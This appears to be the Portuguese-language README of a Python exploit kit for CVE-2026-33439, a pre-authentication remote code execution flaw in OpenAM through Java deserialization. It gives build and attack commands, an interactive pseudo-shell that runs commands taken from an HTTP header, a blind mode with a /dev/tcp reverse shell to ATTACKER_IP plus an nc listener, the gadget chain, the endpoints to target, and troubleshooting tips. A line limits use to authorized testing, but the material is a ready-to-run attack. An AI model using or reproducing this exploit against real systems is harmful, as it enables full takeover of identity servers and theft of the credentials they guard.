
PoC em Python que explora o CVE-2026-33439, um RCE pré-autenticação no OpenAM via desserialização Java do parâmetro jato.clientSession, com modos de shell interativo e cego.
Execução Remota de Código pré-autenticação no OpenIdentityPlatform OpenAM <= 16.0.5 através de desserialização Java insegura do parâmetro jato.clientSession (CVSS 9.8).
Apenas para testes de segurança autorizados.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — deve corresponder à versão da JVM do servidor alvo; JDK 25 produz objetos serializados incompatíveis)O EvilTranslet lê o cabeçalho HTTP cmd do pedido, executa-o e escreve o stdout diretamente na resposta HTTP. Não é necessário listener.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
O comando é incorporado no bytecode do EvilTranslet. Não é devolvida saída; use um listener (nc, etc.) para capturar callbacks.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| Flag | Descrição |
|---|---|
| (sem flags) | Constrói payload interativo (lê o cabeçalho cmd em tempo de execução) |
--command "CMD" | Constrói payload cego com CMD incorporado no bytecode |
--jars DIR | Usa diretório de JARs local em vez de descarregar (padrão: ./libs) |
--download-only | Apenas descarrega JARs, não compila |
exploit.py| Flag | Descrição |
|---|---|
--url URL | URL alvo (obrigatório) — endpoint completo ou URL base com --probe/--all |
--shell | Pseudo-shell interativa (modo interativo) |
--probe | Deteta automaticamente endpoint vulnerável a partir da URL base |
--all | Entrega payload a TODOS os endpoints JATO (modo cego) |
--method GET|POST | Método de entrega HTTP (padrão: GET) |
--proxy URL | Proxy HTTP (ex.: http://127.0.0.1:8080 para Burp) |
--timeout SECS | Timeout do pedido (padrão: 15) |
--verify-tls | Ativa verificação de certificado TLS |
--debug | Mostra detalhes do pedido/resposta |
Todo o código-fonte está no repositório — sem blobs opacos. Os fontes Java estão incorporados em build.py como constantes de string legíveis. Após a compilação, verifique a saída:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — obtém o pedido/resposta HTTP através do classloader da webapprequest.getHeader("cmd") — lê o comandonew ProcessBuilder("/bin/sh", "-c", cmd) — executaresponse.reset() — limpa qualquer saída JSP anteriortext/plain, depois fecha o fluxo de saídaRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — dispara e esqueceQualquer endpoint JATO ViewBean que renderize tags <jato:form>, acessível pré-autenticação:
| Endpoint | Notas |
|---|---|
/openam/ui/PWResetUserValidation | Redefinição de password (mais fiável) |
/openam/ui/PWResetQuestion | Perguntas de segurança da redefinição de password |
/openam/ui/Login | Página de login |
| Sintoma | Causa | Correção |
|---|---|---|
| Página HTML devolvida em vez da saída do comando | JSP sobrescreve a resposta | Use --shell com payload interativo; ou mude para modo cego |
| Desserialização não é acionada | Incompatibilidade de versão do JDK | Recompile com JDK 21: export JAVA_HOME=/path/to/jdk-21 |
| Timeout no handshake TLS | Servidor requer hostname SNI | Adicione o alvo a /etc/hosts e use o hostname, não o IP |
javac não encontrado | JDK não instalado | apt install openjdk-21-jdk |
MIT